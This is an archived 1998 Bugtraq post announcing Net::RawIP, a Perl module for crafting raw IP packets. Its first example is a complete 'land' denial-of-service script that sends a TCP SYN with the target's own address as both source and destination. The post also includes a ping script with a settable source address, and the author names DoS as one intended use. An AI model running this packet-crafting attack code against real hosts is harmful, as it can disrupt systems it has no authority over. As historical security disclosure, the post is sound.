New perl module Net::RawIP

From: Sergey V. Kolychev (ksvat_private)
Date: Tue Dec 22 1998 - 07:23:38 PST

  • Next message: Ben Laurie: "Re: Why you should avoid world-writable directories"

     Good day.
    This is my first bugtraq post.
    
     I'm just another perl coder ;). I'm writing module which
     can be used for easy manipulating raw ip packets from perl.
     This module have optional feature for manipulating ethernet
     headers.
     Also it included interface for libpcap. It can be used for
     easy writing port scanners,programs for check security,
     network DoS  directly from perl ;)
     I have test my module only on Linux 2.0.3x with glibc
     Just two small examples:
    land
    -----
    #!/usr/bin/perl
    require 'getopts.pl';
    use Net::RawIP;
    Getopts('i:p:');
    $a = new Net::RawIP;
    die "Usage $0 -i <target> -p <target port>" unless ($opt_i && $opt_p);
    $a->set({ ip => {saddr => $opt_i,
                     daddr => $opt_i
                     },
              tcp=> {dest => $opt_p,
                     source => $opt_p,
                     psh => 1,
                     syn => 1}
            });
    $a->send;
    ---------
    ping
    ---------
    #!/usr/bin/perl
    use Net::RawIP qw(:pcap);
    $a = new Net::RawIP ({icmp =>{}});
    $a->set({ip => {saddr => 'ns.al.lg.ua', # insert your site here !
                    daddr => $ARGV[0]},
             icmp => {type => 8, id => $$}
             });
    $device = 'eth0'; # insert your device here !
    $filt = 'ip proto \\icmp and dst host ns.al.lg.ua';# insert your site here!
    $size = 1500;
    $tout = 30;
    $pcap = $a->pcapinit($device,$filt,$size,$tout);
    $i =0;
    if(fork){
    loop $pcap,-1,\&dmp,\@a;
    }
    else{
    sleep 2;
    for(;;){
    $a->set({icmp => {sequence => $i,data => timem()}});
    $a->send(1,1);
    $i++
    }
    }
    sub dmp{
    my $time = timem();
    $a->bset(substr($_[2],14));
    my @ar = $a->get({ip => [qw(ttl)], icmp=>[qw(sequence data)]});
    printf("%u bytes from %s: icmp_seq=%u ttl=%u time=%5.1f ms\n",length($ar[2])+8,
    ,$ARGV[0],$ar[1],$ar[0],($time-$ar[2])*1000);
    }
    ----
    
    Thanks to Pavel Krauz <kraat_private> for hunt,I used some code from it.
    
     Latest version my module available from
     http://www.ic.al.lg.ua/~ksv/Net-RawIP-0.02b.tar.gz
     Version 0.01 available from CPAN
     I will be glad if somebody find my work interesting.
    
       ----------------------Alchevsk Linux User Group-----------------------
          UNIX is user friendly. It's just selective who the friends are.
          Linux is like wigwam - no windows, no gates, apache inside.
          http://www.ic.al.lg.ua/~ksv | e-mail: ksvat_private
          PGP key & Geekcode: finger ksvat_private
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:25:42 PDT